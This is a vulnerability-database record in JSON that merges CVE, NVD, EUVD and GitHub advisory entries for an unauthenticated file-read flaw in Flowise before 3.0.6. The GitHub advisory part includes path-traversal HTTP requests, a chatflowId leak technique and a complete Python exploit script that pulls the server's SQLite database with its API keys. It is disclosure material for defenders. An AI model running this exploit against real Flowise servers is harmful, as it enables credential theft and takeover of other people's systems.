{"id":"CVE-2025-71324","revision":null,"records":[{"revision":"21e4e5a1d81a43b383e230a043ebe0da","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-71324","aliases":[],"title":"Flowise - Arbitrary File Read via chatId Parameter","description":"Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.","state":0,"publishedAt":"2026-06-25T21:41:02.849+00:00","modifiedAt":"2026-06-30T03:33:41.862+00:00","affected":[{"ecosystem":"Vendor product","name":"Flowise","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Flowise\",\n                    \"product\": \"Flowise\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/flowise\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.0.6\"\n                        },\n                        {\n                            \"version\": \"3.0.6\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf","https://www.vulncheck.com/advisories/flowise-arbitrary-file-read-via-chatid-parameter"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-71324","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-71324","identifiers":["CVE-2025-71324"]},"retained":false,"historicalAffected":[]},{"revision":"18abe933de1d4a0dad50c23b9dbfb628","observedAt":"2026-11-09T04:12:44.4+00:00","statement":{"source":"euvd","id":"EUVD-2025-210336","aliases":["CVE-2025-71324","GHSA-4pwq-xw7j-m297"],"title":"Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorag…","description":"Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf","https://www.vulncheck.com/advisories/flowise-arbitrary-file-read-via-chatid-parameter"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-210336","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 25, 2026, 9:41:02 PM","dateUpdated":"Jun 30, 2026, 3:33:41 AM"},"relatedAdvisories":[{"id":"WID-SEC-W-2025-2048","title":"Flowise: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2025-58434","CVE-2025-71324","CVE-2025-71336"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-210336","identifiers":["EUVD-2025-210336","CVE-2025-71324","GHSA-4pwq-xw7j-m297"]},"retained":false,"historicalAffected":[]},{"revision":"2885b652fcf044288fe9bce04e4baf82","observedAt":"2026-10-25T04:17:18.34+00:00","statement":{"source":"nvd","id":"CVE-2025-71324","aliases":[],"title":"Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorag…","description":"Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.","state":0,"publishedAt":"2026-06-25T22:16:58.6+00:00","modifiedAt":"2026-10-12T21:10:00.227+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf","https://www.vulncheck.com/advisories/flowise-arbitrary-file-read-via-chatid-parameter"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-71324","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-73"],"productCriteria":["cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-06-25T22:16:58.600","lastModified":"2026-10-12T21:10:00.227"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-71324","identifiers":["CVE-2025-71324"]},"retained":false,"historicalAffected":[]},{"revision":"92e760f42ab1469f9c8e32f5bd246448","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-99pg-hqvx-r4gf","aliases":["CVE-2025-71324"],"title":"Flowise has an Arbitrary File Read","description":"### Summary\nAn arbitrary file read vulnerability in the `chatId` parameter supplied to both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content.\n\n### Details\nBoth the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints accept the `chatId` parameter and pass this to a subsequent call to streamStorageFile().\n\n\n```\nconst chatflowId = req.query.chatflowId as string\nconst chatId = req.query.chatId as string\nconst fileName = req.query.fileName as string\n\n...\n const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)\n```\n\nWhile streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId.\n\n\n```\n    // Validate chatflowId\n    if (!chatflowId || !isValidUUID(chatflowId)) {\n        throw new Error('Invalid chatflowId format - must be a valid UUID')\n    }\n\n    // Check for path traversal attempts\n    if (isPathTraversal(chatflowId)) {\n        throw new Error('Invalid path characters detected in chatflowId')\n    }\n...\n    const sanitizedFilename = sanitize(fileName)\n...\n\tconst filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)\n```\n\nThere is validation that the resulting filePath is restricted to the `/root/.flowise/storage` directory.\n\n```\nif (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)\n```\n\nHowever, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted.\n\n```\n        if (fs.existsSync(filePath)) {\n            return fs.createReadStream(filePath)\n        } else {\n            // Fallback: Check if file exists without orgId\n            const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)\n\n            if (fs.existsSync(fallbackPath)) {\n                // Create directory if it doesn't exist\n                const dir = path.dirname(filePath)\n                if (!fs.existsSync(dir)) {\n                    fs.mkdirSync(dir, { recursive: true })\n                }\n\n                // Copy file to correct location with orgId\n                fs.copyFileSync(fallbackPath, filePath)\n\n                // Delete the old file\n                fs.unlinkSync(fallbackPath)\n\n                // Clean up empty directories recursively\n                _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))\n\n                return fs.createReadStream(filePath)\n\n```\n\nAs this fallback path is read after the `/root/.flowise/storage` check, this allows an additional level of traversal up to `/root/.flowise/`. As a result, this  allows reading of `/root/.flowise/database.sqlite`, which contains all database content in the default Flowise configuration.\n\nREQUEST\n```\nGET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1\nHost: 127.0.0.1:3000\n\n```\n\nRESPONSE\n```\nHTTP/1.1 200 OK\nVary: Origin\nAccess-Control-Allow-Credentials: true\nContent-Disposition: attachment; filename=\"database.sqlite\"\nDate: Tue, 22 Jul 2025 06:43:51 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 385024\n\nSQLite format 3�\u0010�\u0001\u0001�@  ���6���^���A���\u0015���Õ���\u0004�����������\u0001�����������������������������������6�.r¢\u0005\u000Fö�\u0006\u000FÚ����Z\u000Fû\u000Fì\u000Fñ\u000Fæ\u000Fà\u000FÚ\u000FÛ\t\u000E\b�\u0007Ï\u0001l\u0007\u0096\u0007\n\u0005Í\u0005\u0082\u0004\u0090\u0004S\u0003=\u0004*\u0001'\u0001'���������������������������������������������������������������������������������������������������������������������������������������������;,\u0006\u0017O)\u0001�indexsqlite_autoindex_docume\n...\n```\n\nSimilarly, for `/api/v1/openai-assistants-file/download`:\nREQUEST\n```\nPOST /api/v1/openai-assistants-file/download HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nContent-Length: 100\n\n{\"chatflowId\":\"c5c63474-e757-4fca-a504-d54e84c309bb\",\"chatId\":\"/../..\",\"fileName\":\"database.sqlite\"}\n```\nRESPONSE\n```\nHTTP/1.1 200 OK\nVary: Origin\nAccess-Control-Allow-Credentials: true\nContent-Disposition: attachment; filename=\"database.sqlite\"\nDate: Tue, 22 Jul 2025 08:55:25 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 385024\n\nSQLite format 3�\u0010�\u0001\u0001�@  ���6���^���A���\u0015���Õ���\u0004�����������\u0001�����������������������������������6�.r¢\u0005\u000Fö�\u0006\u000FÚ����Z\u000Fû\u000Fì\u000Fñ\u000Fæ\u000Fà\u000FÚ\u000FÛ\t\n...\n```\n\nThis includes all API keys used by the application (apiKey table), which can be used to gain administrative access.\n\nAs the fallback logic attempts to move the file to the initially checked directory, this results in the server permanently being unable to make new read or write operations until the file is moved and the server is restarted.\n\nInteraction with these endpoints requires knowledge of a valid `chatflowId`. As a UUID, this is inherently unguessable. However, the `/api/v1/vector/upsert/` endpoint can be used without a chatflowId, defaulting to the first ID available. This endpoint returns a verbose error when receiving a malformed filename, revealing the full internal file path and the associated `chatflowId`.\n\n\nREQUEST\n```\nPOST /api/v1/vector/upsert/ HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Length: 172\nConnection: keep-alive\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"files\"; filename=\"?\"\nContent-Type: text/plain\n\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n```\nRESPONSE\n```\nHTTP/1.1 500 Internal Server Error\nVary: Origin\nAccess-Control-Allow-Credentials: true\nContent-Type: application/json; charset=utf-8\nContent-Length: 240\nETag: W/\"f0-khSyqlT3NYLMJGjdchTl6Iwqe4U\"\nDate: Tue, 22 Jul 2025 08:14:20 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\"statusCode\":500,\"success\":false,\"message\":\"Error: vectorsService.upsertVector - EISDIR: illegal operation on a directory, open '/root/.flowise/storage/07b5d2bd-9b5c-4de3-b234-4fe4357051c9/188903b1-d06d-4f93-9415-400015b87146'\",\"stack\":{}}\n```\nIn this case the UUID is revealed as `188903b1-d06d-4f93-9415-400015b87146`, which can then be used to exploit the file read vulnerability.\n\n### PoC\n\nRun Flowise:\n```\ndocker run --rm  -p 3000:3000 flowiseai/flowise\n```\nComplete install & create a Chatflow:\n<img width=\"575\" height=\"299\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1a34e809-b9b3-48a1-93b4-8dafccf87e3b\" />\n\nSave this script to `read.py`:\n```\nimport argparse\nimport re\nimport requests\n\ndef read_file(url, file_path, proxy):\n    base_url = url\n    proxies = {'http': proxy, 'https': proxy} if proxy else None\n\n    print(f\">> starting exploit against {base_url}\")\n    if proxy:\n        print(f\">> using proxy: {proxy}\")\n\n    try:\n        print(\"[*] step 1: leaking chatflowid\")\n        initial_headers = {}\n        files = {'files': ('?', 'asdf', 'text/plain')}\n        response = requests.post(f\"{base_url}/api/v1/vector/upsert/\", files=files, headers=initial_headers, timeout=10, proxies=proxies)\n        chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get(\"message\", \"\"))\n        if len(chatflow_id_matches) < 2:\n            print(\"[-] failed to leak chatflowid.\")\n            return\n        chatflow_id = chatflow_id_matches[1]\n        print(f\"[+] got chatflowid: {chatflow_id}\")\n\n        print(f\"[*] step 2: reading file: {file_path}\")\n        internal_headers = {'x-request-from': 'internal'}\n        params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path}\n        response = requests.get(f\"{base_url}/api/v1/get-upload-file\", params=params, headers=internal_headers, timeout=10, proxies=proxies)\n        \n        if response.status_code != 200:\n            print(f\"[-] failed to read file (status: {response.status_code}).\")\n            print(response.text)\n            return\n        \n        file_content = response.text\n        print(f\"[+] successfully read file ({len(response.content)} bytes).\")\n        print(\"\\n--- file content ---\")\n        print(file_content)\n        print(\"--------------------\\n\")\n\n    except requests.exceptions.RequestException as e:\n        print(f\"\\n[-] an unexpected error occurred: {e}\")\n    except Exception as e:\n        print(f\"\\n[-] an unexpected error occurred: {e}\")\n        return\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Read arbitrary files\")\n    parser.add_argument(\"-u\", \"--url\", type=str, required=True, help=\"target base url (e.g., http://127.0.0.1:3000)\")\n    parser.add_argument(\"-f\", \"--file\", type=str, required=True, help=\"path of the file to read on the server (e.g., database.sqlite)\")\n    parser.add_argument(\"-x\", \"--proxy\", type=str, help=\"proxy to use (e.g., http://127.0.0.1:8080)\")\n\n    args = parser.parse_args()\n    read_file(args.url, args.file, args.proxy)\n```\n\nRun the script against `http://127.0.0.1:3000`:\n```\npython3 read.py -u http://127.0.0.1:3000 -f database.sqlite\n>> starting exploit against http://127.0.0.1:3000\n[*] step 1: leaking chatflowid\n[+] got chatflowid: c5c63474-e757-4fca-a504-d54e84c309bb\n[*] step 2: reading file: database.sqlite\n[+] successfully read file (385024 bytes).\n\n--- file content ---\nÕÇêS=*'';,O)indexsqlite_autoindex...\n\n```\n\n\n### Impact\n\nThis allows any unauthenticated user to extract all database content from a default installation of Flowise. This includes API keys, which can be used to gain administrative access.","state":0,"publishedAt":"2025-09-15T20:00:39+00:00","modifiedAt":"2026-07-21T20:00:29.9797353+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.5"},{"kind":"fixed","version":"3.0.6"}]}],"versions":["3.0.5"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf","https://github.com/FlowiseAI/Flowise"],"sourceUrl":"https://github.com/advisories/GHSA-99pg-hqvx-r4gf","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-99pg-hqvx-r4gf","identifiers":["GHSA-99pg-hqvx-r4gf","CVE-2025-71324"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T09:21:39.5670180+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T09:21:39.567018+00:00","lastSuccessAt":"2026-11-10T09:21:39.7230126+00:00","error":null,"lastVerifiedAt":"2026-11-10T09:21:39.7230148+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-8bdcdeeb414e06ff50ed637d818ac25d52680d19f71fc0ebe3f4c4b3f836ed38","complete":true,"records":421927,"lastAttemptAt":"2026-11-10T09:21:38.2251552+00:00","lastSuccessAt":"2026-11-10T09:21:38.1064889+00:00","error":null,"lastVerifiedAt":"2026-11-10T09:21:38.2251552+00:00","snapshotPublishedAt":"2026-11-10T09:20:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e6a476534094233b48f2f0b6da5cf35","complete":true,"records":13689,"lastAttemptAt":"2026-11-10T09:22:06.7603645+00:00","lastSuccessAt":"2026-11-10T06:05:35.03+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:05:35.03+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T09:21:39.5670180+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T09:21:39.567018+00:00","lastSuccessAt":"2026-11-10T09:21:39.7239823+00:00","error":null,"lastVerifiedAt":"2026-11-10T09:21:39.7239826+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-31ba7927d759462ab5120f3eef3ca629","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T09:22:06.1277445+00:00","lastSuccessAt":"2026-11-10T09:22:06.124+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T09:22:06.124+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13742,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T09:21:39.3678777+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T09:21:39.3678777+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T09:21:39.1274719+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T09:21:39.1274719+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-94169eec81ea3989aa551092397ff34ae53c104b4a6ce646e1524452e4ab2a39","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T09:21:39.5260038+00:00","lastSuccessAt":"2026-11-10T08:04:45.5923716+00:00","error":null,"lastVerifiedAt":"2026-11-10T09:21:39.5260038+00:00","snapshotPublishedAt":"2026-11-10T06:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-4331051b0b2d4ccdbdca3aa196b0be3818a465064a4b18dde4cf39c2250eb490","complete":true,"records":231599,"lastAttemptAt":"2026-11-10T09:21:39.251251+00:00","lastSuccessAt":"2026-11-10T08:04:37.1757322+00:00","error":null,"lastVerifiedAt":"2026-11-10T09:21:39.251251+00:00","snapshotPublishedAt":"2026-11-10T07:33:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}